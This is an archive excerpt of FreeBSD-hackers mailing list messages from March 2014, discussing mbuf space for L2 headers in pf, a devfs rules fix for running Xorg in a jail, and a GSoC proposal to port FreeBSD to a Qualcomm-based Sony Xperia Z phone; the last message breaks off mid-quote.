SIGNATURE----- --oLBj+sq0vYjzfsbl-- From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 21:21:07 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5DD23BC3; Sun, 16 Mar 2014 21:21:07 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 1B2F0696; Sun, 16 Mar 2014 21:21:06 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s2GLL6Q6090996 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 16 Mar 2014 14:21:06 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s2GLL6hE090995; Sun, 16 Mar 2014 14:21:06 -0700 (PDT) (envelope-from jmg) Date: Sun, 16 Mar 2014 14:21:06 -0700 From: John-Mark Gurney To: Hooman Fazaeli Subject: Re: mbuf question Message-ID: <20140316212106.GF32089@funkthat.com> Mail-Followup-To: Hooman Fazaeli , Rui Paulo , FreeBSD Hackers , Ian Lepore References: <53230214.7010501@gmail.com> <532405B7.2020007@gmail.com> <96659837-1FDC-421D-A339-87104A0075C7@FreeBSD.org> <5324D669.804@gmail.com> <5324DAC0.9020508@gmail.com> <1394925228.1149.558.camel@revolution.hippie.lan> <5325BC99.2060703@gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <5325BC99.2060703@gmail.com> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Sun, 16 Mar 2014 14:21:06 -0700 (PDT) Cc: FreeBSD Hackers , Rui Paulo , Ian Lepore X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 21:21:07 -0000 Hooman Fazaeli wrote this message on Sun, Mar 16, 2014 at 19:30 +0430: > On 3/16/2014 9:01 AM, Rui Paulo wrote: > >On 15 Mar 2014, at 16:13, Ian Lepore wrote: > >>How about an optimization that puts tags in that area when it's > >>available to avoid the allocation overhead? I don't know much about the > >>network code, so maybe that's not a sensible idea. > >The problem with mbuf tags is that they are not fixed size, so they can't > >easily use UMA (although they use malloc which is backed by UMA, but the > >performance is lower). If tags are not an option, I suppose Hooman could > >use fields from struct pkthdr, but this might come with risks if the code > >is not in the tree. > > > >-- > >Rui Paulo > > pkthdrdoes not seem to have any spare area for custom use. > > I wanted to add L2 filtering capabilities to pf(4) firewall, and the first > problem > I faced was how to make L2 headers (src/dst ethernet addresses) available > to pf. > That (seemingly) unused part of mbuf+cluster seemed a good place to store > ethernet > headers. > > We already have vlan tag (a sort of L2 data) in pkthdr. What do you think > about the idea of having a dedicated area for L2 information in mbufs? Why do we need this info in another location? Isn't this already in the packet? How else did we get it then? Or are you dealing w/ the fact that the L2 information was stripped by an upper layer, and if that is the case, shouldn't you be getting the packet soon then? -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 21:10:37 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2D5B95EC; Sun, 16 Mar 2014 21:10:37 +0000 (UTC) Received: from mail.ebusiness-leidinger.de (mail.ebusiness-leidinger.de [217.11.53.44]) by mx1.freebsd.org (Postfix) with ESMTP id CEA7E35C; Sun, 16 Mar 2014 21:10:36 +0000 (UTC) Received: from outgoing.leidinger.net (p5DD44375.dip0.t-ipconnect.de [93.212.67.117]) by mail.ebusiness-leidinger.de (Postfix) with ESMTPSA id DDA1C844A0A; Sun, 16 Mar 2014 22:10:11 +0100 (CET) Received: from unknown (Titan.Leidinger.net [192.168.1.17]) by outgoing.leidinger.net (Postfix) with ESMTP id 56C8C30C8; Sun, 16 Mar 2014 22:10:09 +0100 (CET) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=leidinger.net; s=outgoing-alex; t=1395004209; bh=QpTUgxw9o47M3d4YgAF75GW1icJXwxTK02kOroWXKW0=; h=Date:From:To:Cc:Subject:In-Reply-To:References; b=Xfmp8kRw9bPHtTd4TCOPh7C/QCywTwjVti9yQYusYs/zYQt9RWwFWRsiAM95tYRsw jzeSLlEqqdcJS0AsE7SXcyFAiT6FZLMKMtwmVTxosqsjUDARSmOZnI6vULO1+ZkBMr esyn5Yg7w3NEpAikYcbgp+GpcF3O5FsWzZXeYxjn1vTm4JeN08xoOufJKYNSTp1WUn hK0Ig1ONOaLRip+bhZgLTiRhvGtXEzbLhg2MVO0eXFnulrTCoFgjTo4KvU6/QuRaNR IEQLkA9cwZz1ZSI6yLmTTBP1UiSE4K0XSmIw6KcUO+mSROxpy9jM0D6pL4VTvM6oCA N2+sgZEBYn73w== Date: Sun, 16 Mar 2014 22:10:09 +0100 From: Alexander Leidinger To: Ulrich =?ISO-8859-1?Q?Sp=C3=B6rlein?= Subject: Re: [PATCH] Xorg in a jail Message-ID: <20140316221009.0000629a@unknown> In-Reply-To: <20140316191625.GG36583@acme.spoerlein.net> References: <20140309190802.00006452@unknown> <20140316191625.GG36583@acme.spoerlein.net> X-Mailer: Claws Mail 3.9.2-55-g74b05b (GTK+ 2.16.6; i586-pc-mingw32msvc) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable X-EBL-MailScanner-Information: Please contact the ISP for more information X-EBL-MailScanner-ID: DDA1C844A0A.A1634 X-EBL-MailScanner: Found to be clean X-EBL-MailScanner-SpamCheck: not spam, spamhaus-ZEN, SpamAssassin (not cached, score=-0.779, required 6, autolearn=disabled, ALL_TRUSTED -1.00, AWL -0.51, DKIM_SIGNED 0.10, DKIM_VALID -0.10, DKIM_VALID_AU -0.10, J_CHICKENPOX_55 0.60, RP_MATCHES_RCVD -0.00, TW_BM 0.08, TW_EV 0.08, TW_XB 0.08) X-EBL-MailScanner-From: alexander@leidinger.net X-EBL-MailScanner-Watermark: 1395609013.21389@grdknv8YOg1xQuTRsyyqjg X-EBL-Spam-Status: No X-Mailman-Approved-At: Sun, 16 Mar 2014 21:26:30 +0000 Cc: Tom Evans , "freebsd-hackers@freebsd.org" , "freebsd-x11@freebsd.org" , jamie@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 21:10:37 -0000 On Sun, 16 Mar 2014 20:16:25 +0100 Ulrich Sp=C3=B6rlein wrote: > Alexander, >=20 > there's a typo in the devfs rules for xorg: > add path 'dri*' unhide > needs to be > add path 'dri/card*' unhide > to actually make /dev/dri/card0 show up in my xbmc jail. Thanks, corrected locally (most probably a regression because of the change of the devfs.rules handling, my most recent system has a NVidia card which doesn't use /dev/dri). > Xorg still fails to come up with this patch, as opening the dri/drm > stuff eventually fails: > [ 12890.551] (--) Using syscons driver with X support (version 2.0) > [ 12890.551] (--) using VT number 5 > [ 12890.551] drmOpenDevice: node name is /dev/dri/card0 > [ 12890.551] drmOpenDevice: open result is 9, (OK) > [ 12890.552] drmOpenByBusid: Searching for BusID pci:0000:00:02.0 > [ 12890.552] drmOpenDevice: node name is /dev/dri/card0 > [ 12890.552] drmOpenDevice: open result is 9, (OK)=20 > [ 12890.552] drmOpenByBusid: drmOpenMinor returns 9 > [ 12890.552] drmOpenByBusid: Interface 1.4 failed, trying 1.1 This doesn't show up in the one which works. Maybe some check which is failing in the jail which I didn't stumble upon. Could be Intel-graphics related (similar to the DRI code I changed in the patch). Bye, Alexander. --=20 http://www.Leidinger.net Alexander @ Leidinger.net: PGP ID =3D B0063FE7 http://www.FreeBSD.org netchild @ FreeBSD.org : PGP ID =3D 72077137 From owner-freebsd-hackers@FreeBSD.ORG Sun Mar 16 23:19:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 60A1EB6B; Sun, 16 Mar 2014 23:19:54 +0000 (UTC) Received: from mail-ie0-x22b.google.com (mail-ie0-x22b.google.com [IPv6:2607:f8b0:4001:c03::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 2A9E9FAA; Sun, 16 Mar 2014 23:19:54 +0000 (UTC) Received: by mail-ie0-f171.google.com with SMTP id ar20so4764320iec.2 for ; Sun, 16 Mar 2014 16:19:53 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=n4Ky/VLdswxqGp+qbwT49UMwRZJONYdTOh0A5vnJ4ok=; b=ervTJemJT2aH8fdiOTcM+c1OntwDjwpfM81hT9lDx3HLrk9Ih9ceDMcPh+ZNhfejhy nEtq0tFzVdpYEFwMMS3GWZQDhsfD2yVHXfa/55HPtoMSMEuNbAc6Qg6eTPJw/bR1FxuR uXaKFrfXIyrsZPi976jC4kY1wMrtEXjLNWJ+ddaXIQ0nLloY08Gog8hLbtFDG9pvpyoC bRrFqIvy2fa8ux/YLdEXscctl7Hu2H/samjX7TYEZS+TRqy0xlWaC3ZvqpPSWdhA5Unv MQ0GrgmE2PIFH88vjy9NIy55nj79b2HDu5ksedrIbExlwmVBDS4R6ccbU9MELLwLE7js CiNQ== MIME-Version: 1.0 X-Received: by 10.50.28.101 with SMTP id a5mr10133865igh.46.1395011993665; Sun, 16 Mar 2014 16:19:53 -0700 (PDT) Received: by 10.64.69.201 with HTTP; Sun, 16 Mar 2014 16:19:53 -0700 (PDT) Date: Mon, 17 Mar 2014 03:19:53 +0400 Message-ID: Subject: [GSoC 2014] Interested in ARM bringup tasks From: Alexander Tarasikov To: wkoszek@freebsd.org, freebsd-hackers@freebsd.org Content-Type: text/plain; charset=ISO-8859-1 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 16 Mar 2014 23:19:54 -0000 Hello, FreeBSD community! I am interested in participating in GSoC this year and I'd like to pick up one of the tasks related to porting FreeBSD to new architectures. I'm now doing my master's degree in software engineering at the "Higher School of Economics" in Moscow. Since I love ARM and smartphones, I've chosen the project to port FreeBSD to a smartphone. If that task is already occupied (which doesn't seem so), I would be happy to pick up another task suggested by the community. I want to port FreeBSD to the Sony Xperia Z phone. This phone has the Qualcomm APQ8064 SoC which is used in a large number of smartphones, including Google Nexus 4. Besides, Qualcomm SoCs are developed incrementally so there's a high chance that the code for current generation of chips will benefit future revisions as well. It is known that debugging like JTAG and flash recovery is not available on consumer devices because of DRM and general love for obfuscation among the vendors. Therefore, to prevent bricking the device, I suggest using the chainloading approach, that is using the bootloader that ships with the device and pretend to be a linux image. For the mid-term I want to port the u-boot bootloader and add the support for accessing the microSD card from it. The u-boot will be flashed to the device instead of the linux kernel. Since the proprietary bootloader already initializes the display (we can also port linux driver to u-boot), it should be possible, at least during the initial stage, to use a simple driver in FreeBSD that would write to the framebuffer allocated by the bootloader or only write the framebuffer address to the display controller. In the past I've successfully ported linux to an Intel XScale-based Asus P525 smartphone, ported Android with all hardware working to boot from NAND on the Sony Xperia X1 phone and have ported various boards from OEM to vanilla kernel trees. Recently I've experimented with the XNU kernel (the one which is used in the fruity operating system) and ported it to the OMAP5 board. So I think I'll be able to pull it off. Have a nice day! -- Regards, Alexander From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 00:39:25 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A3946795; Mon, 17 Mar 2014 00:39:25 +0000 (UTC) Received: from mail-ie0-x22c.google.com (mail-ie0-x22c.google.com [IPv6:2607:f8b0:4001:c03::22c]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 5C75C847; Mon, 17 Mar 2014 00:39:25 +0000 (UTC) Received: by mail-ie0-f172.google.com with SMTP id as1so4805373iec.3 for ; Sun, 16 Mar 2014 17:39:24 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=Pz7o/xAC3GBZiuQxYgzRlvmAsyGfXVCmDlI/nKqQrrg=; b=VSuFS/9Opzz3OuXfMg2YjmhhwLgdYuFchGte1kRncEkyABMzTM2PrE6LWmGASrF2Ig GXWRoH+Ooy4Pj3GDT9EnDQwQfzmnsOpjOn7woRZWfDNfYteykDNdKw9QiONRSPROiHdn oJhwj4wfMxwT9JU1umyEzQnOKTcjZ7BA3IwgWFOIFHP6xyw5IbvOgA0pZhXlSI9CiZfk Ya72FgOX/VNuRbmgEHz2kjid/1VsE80IyzibDiIT7OJ7ZP2/bqqGQOPnB2paxXRuqBZD ZWU7dVbkRYbOJrodIMh+tu4uiwSTL6fQdXP0BEtsrPdH5T4kWTM3UJk9wfmTtDrBJBH5 J19Q== MIME-Version: 1.0 X-Received: by 10.42.214.80 with SMTP id gz16mr16946249icb.6.1395016764851; Sun, 16 Mar 2014 17:39:24 -0700 (PDT) Received: by 10.64.107.3 with HTTP; Sun, 16 Mar 2014 17:39:24 -0700 (PDT) In-Reply-To: References: Date: Mon, 17 Mar 2014 08:39:24 +0800 Message-ID: Subject: Re: [GSoC 2014] Interested in ARM bringup tasks From: Ganbold Tsagaankhuu To: Alexander Tarasikov Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org, "freebsd-arm@freebsd.org" , "Wojciech A. Koszek" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 00:39:25 -0000 Alexander, On Mon, Mar 17, 2014 at 7:19 AM, Alexander Tarasikov < alexander.tarasikov@gmail.com> wrote: > Hello, FreeBSD community! > > I am interested in participating in GSoC this year and I'd like to > pick up one of the tasks related to porting FreeBSD to new > architectures. I'm now doing my master's degree in software > engineering at the "Higher School of Economics" in Moscow. > > Since I love ARM and smartphones, I've chosen the project to port > FreeBSD to a smartphone. If that task is already occupied (which > doesn't seem so), I would be happy to pick up another task suggested > by the community. > > I want to port FreeBSD to the Sony Xperia Z phone. This phone has the > Qualcomm APQ8064 SoC which is used in a large number of smartphones, > including Google Nexus 4. Besides, Qualcomm SoCs are developed > incrementally so there's a high chance that the code for current > generation of chips will benefit future revisions as well. > Interesting. I'm not quite sure how accessible is some pins like uart in Experia Z. I have it here, but I still didn't try to open it yet to see the pins etc. Probably you meant here some embedded boards like ifc6410. Plus ifc6410 has docs so that could be useful too. > > It is known that debugging like JTAG and flash recovery is not > available on consumer devices because of DRM and general love for > obfuscation among the vendors. Therefore, to prevent bricking the > device, That is the hell, it seems Qualcomm uses lauterbach jtag adapter in that case. I and my friend and also some people have tried some adapters like flyswatter2 with ifc6410, still no luck. I suggest using the chainloading approach, that is using the > bootloader that ships with the device and pretend to be a linux image. > That can be done. Their bootloader like maybe LK in case of ifc6410 can boot freebsd kernel. Actually I did that for ifc6410. > > For the mid-term I want to port the u-boot bootloader and add the > support for accessing the microSD card from it. The u-boot will be > flashed to the device instead of the linux kernel. > That could be cool. > > Since the proprietary bootloader already initializes the display (we > can also port linux driver to u-boot), it should be possible, at least > during the initial stage, to use a simple driver in FreeBSD that would > write to the framebuffer allocated by the bootloader or only write the > framebuffer address to the display controller. > That is nice. However first we need uart driver, then either usb ehci, mmc or sata driver needs to mount rootfs in order to boot freebsd to multiuser mode. I already have timer driver and minimal console driver so it makes booting little bit easier. > > In the past I've successfully ported linux to an Intel XScale-based > Asus P525 smartphone, ported Android with all hardware working to boot > from NAND on the Sony Xperia X1 phone and have ported various boards > from OEM to vanilla kernel trees. Recently I've experimented with the > XNU kernel (the one which is used in the fruity operating system) and > ported it to the OMAP5 board. So I think I'll be able to pull it off. > Cool. In case of android or linux there are many people working on various stuffs so in most case drivers are either written or somebody has got started working on particular driver already. For FreeBSD case it is different. You maybe know that very few people are working in case of ARM platform bringup, so we need more developers and I'm happy that you decided to work on this direction. Ganbold > > Have a nice day! > > -- > Regards, Alexander > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 01:13:56 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CCACAB21; Mon, 17 Mar 2014 01:13:56 +0000 (UTC) Received: from mail-ie0-x22b.google.com (mail-ie0-x22b.google.com [IPv6:2607:f8b0:4001:c03::22b]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 87A83AC5; Mon, 17 Mar 2014 01:13:56 +0000 (UTC) Received: by mail-ie0-f171.google.com with SMTP id ar20so4863776iec.30 for ; Sun, 16 Mar 2014 18:13:56 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=UiJzGyCzhB1gC77ZWuapIgE0jLUtu8JAVtq/6SISQHc=; b=WheK5W2LC9a2ULur5y4/jE7Dj/BjKKYX/5LWd5AbLCa7zClUBteQXwPKucbrVxvBqH +DR1fPE2vcDLEM8CK2EFLzpHhZCPSIBmO9Pqr0txoWfUZ/VCqfhlSdFMdzIQIEThKv/I xE12mm3wlZ3u3TU+i8qD1C97FA/dXClXVg77bXC/V64trqKiO5f1bsVpha6mhT42KywG de5q5D17lsDyHr+f/OrQwM0wsdMD4aMgjGGmOqfRHA4HCJUOCPrzim2Pl4f2qIVpsapl bFFFnbPl/oSuqtbgiG1jZwfHThSiyRpRqcmFFTKf6ttpB9p3wbkyw7jnRpCK8RioAOrl VhKQ== MIME-Version: 1.0 X-Received: by 10.50.25.138 with SMTP id c10mr9975572igg.15.1395018836083; Sun, 16 Mar 2014 18:13:56 -0700 (PDT) Received: by 10.64.69.201 with HTTP; Sun, 16 Mar 2014 18:13:55 -0700 (PDT) In-Reply-To: References: Date: Mon, 17 Mar 2014 05:13:55 +0400 Message-ID: Subject: Re: [GSoC 2014] Interested in ARM bringup tasks From: Alexander Tarasikov To: Ganbold Tsagaankhuu Content-Type: text/plain; charset=ISO-8859-1 Cc: freebsd-hackers@freebsd.org, "freebsd-arm@freebsd.org" , "Wojciech A. Koszek" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 01:13:57 -0000 On Mon, Mar 17, 2014 at 4:39 AM, Ganbold Tsagaankhuu wrote: > Alexander, > > > On Mon, Mar 17, 2014 at 7:19 AM, Alexander Tarasikov > wrote: >> >> Hello, FreeBSD community! >> >> I am interested in participating in GSoC this year and I'd like to >> pick up one of the tasks related to porting FreeBSD to new >> architectures. I'm now doing my master's degree in software >> engineering at the "Higher School of Economics" in Moscow. >> >> Since I love ARM and smartphones, I've chosen the project to port >> FreeBSD to a smartphone. If that task is already occupied (which >> doesn't seem so), I would be happy to pick up another task suggested >> by the community. >> >> I want to port FreeBSD to the Sony Xperia Z phone. This phone has the >> Qualcomm APQ8064 SoC which is used in a large number of smartphones, >> including Google Nexus 4. Besides, Qualcomm SoCs are developed >> incrementally so there's a high chance that the code for current >> generation of chips will benefit future revisions as well. > > > Interesting. I'm not quite sure how accessible is some pins like uart in > Experia Z. > I have it here, but I still didn't try to open it yet to see the pins etc. > Probably you meant here some embedded boards like ifc6410. > Plus ifc6410 has docs so that could be useful too. > Yes, that's the trouble with mobile phones - getting UART is hard. On the other hand, having pre-initialized framebuffer also helps in most cases. The problem with ifc6410 board is that I don't have one and even if someone wants to send me one, I may have huge trouble with customs. I personally have the Xperia Z phone, and I don't really want to *buy* another one (because it looks like I have far more hardware than I have time to play with it) I may be able get my hands on an OMAP4-based Galaxy Nexus. Maybe someone from Moscow could lend me some hardware. If I get stuck with Xperia, I may exchange it for a Nexus 5 on a local craiglist since it's also qcom but has UART. > >> >> >> It is known that debugging like JTAG and flash recovery is not >> available on consumer devices because of DRM and general love for >> obfuscation among the vendors. Therefore, to prevent bricking the >> device, > > > That is the hell, it seems Qualcomm uses lauterbach jtag adapter in that > case. > I and my friend and also some people have tried some adapters like > flyswatter2 with ifc6410, still no luck. > >> I suggest using the chainloading approach, that is using the >> bootloader that ships with the device and pretend to be a linux image. > > > That can be done. Their bootloader like maybe LK in case of ifc6410 can boot > freebsd kernel. > Actually I did that for ifc6410. I have not investigated how FreeBSD boots yet, but iirc LK only supports linux (at least it did 3 years ago when I ported it to msm7200A). Since you have a working kernel for ifc6410, I could try using it first. If it at least boots, we can ignore the UART and go straight into writing mmc block drivers. > >> >> >> For the mid-term I want to port the u-boot bootloader and add the >> support for accessing the microSD card from it. The u-boot will be >> flashed to the device instead of the linux kernel. > > > > That could be cool. > >> >> >> Since the proprietary bootloader already initializes the display (we >> can also port linux driver to u-boot), it should be possible, at least >> during the initial stage, to use a simple driver in FreeBSD that would >> write to the framebuffer allocated by the bootloader or only write the >> framebuffer address to the display controller. > > > > That is nice. However first we need uart driver, then either usb ehci, mmc > or sata driver needs to mount rootfs in order to boot freebsd to multiuser > mode. I already have timer driver and minimal console driver so it makes > booting little bit easier. Well, since GSoC wiki clearly states the task to port to a phone, the only acceptable route is mmc (usb is complex and anyway it is unacceptable to have a phone tethered to the laptop all the time). I think a phone is a good target from the marketing point of view, though it is not much different from a development board. > >> >> >> In the past I've successfully ported linux to an Intel XScale-based >> Asus P525 smartphone, ported Android with all hardware working to boot >> from NAND on the Sony Xperia X1 phone and have ported various boards >> from OEM to vanilla kernel trees. Recently I've experimented with the >> XNU kernel (the one which is used in the fruity operating system) and >> ported it to the OMAP5 board. So I think I'll be able to pull it off. > > > Cool. In case of android or linux there are many people working on various > stuffs so in most case drivers are either written or somebody has got > started working on particular driver already. For FreeBSD case it is > different. You maybe know that very few people are working in case of ARM > platform bringup, so we need more developers and I'm happy that you decided > to work on this direction. So I'm waiting for an opinion from the community. What is more desired - a phone port or a new SoC/board support? I have OMAP5432 development board, but as you may know there are no phones with that CPU and there will never be. On the other hand, this board is 1) Similiar to OMAP4 2) Has SATA and USB 3.0 So if this hardware is supported it can potentially be interesting to evaluate the performance of a server-like installation on ARM A15 SoC. > > Ganbold > > >> >> >> Have a nice day! >> >> -- >> Regards, Alexander >> _______________________________________________ >> freebsd-hackers@freebsd.org mailing list >> http://lists.freebsd.org/mailman/listinfo/freebsd-hackers >> To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" > > -- Regards, Alexander From owner-freebsd-hackers@FreeBSD.ORG Mon Mar 17 01:25:43 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B79CCD4E; Mon, 17 Mar 2014 01:25:43 +0000 (UTC) Received: from mail-ie0-x231.google.com (mail-ie0-x231.google.com [IPv6:2607:f8b0:4001:c03::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 6EBD4B85; Mon, 17 Mar 2014 01:25:43 +0000 (UTC) Received: by mail-ie0-f177.google.com with SMTP id rl12so4807900iec.36 for ; Sun, 16 Mar 2014 18:25:43 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=LaQGuQZeGLGR3Vm/JCtx5N45c7WW1W2jEQ043PWIuRs=; b=hlF7cTke6Gx/90VU5/E/ZQYeOjyes5+Dp65M96S64aXQU8mwFLU36znXNWavgjPbPX fgF3unWfWtjj11bxuGx5pj32n0Si0D8NbU/jZxpmZG0cbw7WlH9gfPZveX4HPfHVQBCO bXK4MyCKDzEbGRVUA4a5Dj9uitWaShptzDQL+v5JQgMQ0QDV4pUSnYPcgSyTHtZgHoCt KXpQZoySbk8rub7DiSndV2yo+RnwWwNsuBqpwlth8xF0Zry5nRGj0VgxnZ29gLSs+rJ0 qQiCq1eBOVL+APMKqO/xqZ1ZP/AWsQjczdPd0oQP8thmPm1hFsukjFt4UexWu+wftGel Blag== MIME-Version: 1.0 X-Received: by 10.42.20.6 with SMTP id e6mr16575287icb.29.1395019542860; Sun, 16 Mar 2014 18:25:42 -0700 (PDT) Received: by 10.64.107.3 with HTTP; Sun, 16 Mar 2014 18:25:42 -0700 (PDT) In-Reply-To: References: Date: Mon, 17 Mar 2014 09:25:42 +0800 Message-ID: Subject: Re: [GSoC 2014] Interested in ARM bringup tasks From: Ganbold Tsagaankhuu To: Alexander Tarasikov Content-Type: text/plain; charset=ISO-8859-1 X-Content-Filtered-By: Mailman/MimeDel 2.1.17 Cc: freebsd-hackers@freebsd.org, "freebsd-arm@freebsd.org" , "Wojciech A. Koszek" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 17 Mar 2014 01:25:43 -0000 Alexander, On Mon, Mar 17, 2014 at 9:13 AM, Alexander Tarasikov < alexander.tarasikov@gmail.com> wrote: > On Mon, Mar 17, 2014 at 4:39 AM, Ganbold Tsagaankhuu > wrote: > > Alexander, > > > > > > On Mon, Mar 17, 2014 at 7:19 AM, Alexander Tarasikov > > wrote: > >> > >> Hello, FreeBSD community! > >> > >> I am interested in participating in GSoC this year and I'd like to > >> pick up one of the tasks related to porting FreeBSD to new > >> architectures. I'm now doing my master's degree in software > >> engineering at the "Higher School of Economics" in Moscow. > >> > >> Since I love ARM and smartphones, I've chosen the project to port > >> FreeBSD to a smartphone. If that task is already occupied (which > >> doesn't seem so), I would be happy to pick up another task suggested > >> by the community. > >> > >> I want to port FreeBSD to the Sony Xperia Z phone. This phone has the > >> Qualcomm APQ8064 SoC which is used in a large number of smartphones, > >> including Google Nexus 4. Besides, Qualcomm SoCs are developed > >> incrementally so there's a high chance that the code for current > >> generation of chips will benefit future revisions as well. > > > > > > Interesting. I'm not quite sure how accessible is some pins like uart in > > Experia Z. > > I have it here, but I still didn't try to open it yet to see the pins > etc. > > Probably you meant here some embedded boards like ifc6410. > > Plus ifc6410 has docs so that could be useful too. > > > > Yes, that's the trouble with mobile phones - getting UART is hard. On > the other hand, > having pre-initialized framebuffer also helps in most cases. The problem > with > ifc6410 board is that I don't have one and even if someone wants to send > me one, I may have huge trouble with customs. > > I personally have the Xperia Z phone, and I don't really want to *buy* > another one > (because it looks like I have far more hardware than I have time to > play with it) > I may be able get my hands on an OMAP4-based Galaxy Nexus. Maybe someone > from Moscow could lend me some hardware. If I get stuck with Xperia, I may > exchange it for a Nexus 5 on a local craiglist since it's also qcom > but has UART. > > > > >> > >> > >> It is known that debugging like JTAG and flash recovery is not > >> available on consumer devices because of DRM and general love for > >> obfuscation among the vendors. Therefore, to prevent bricking the > >> device, 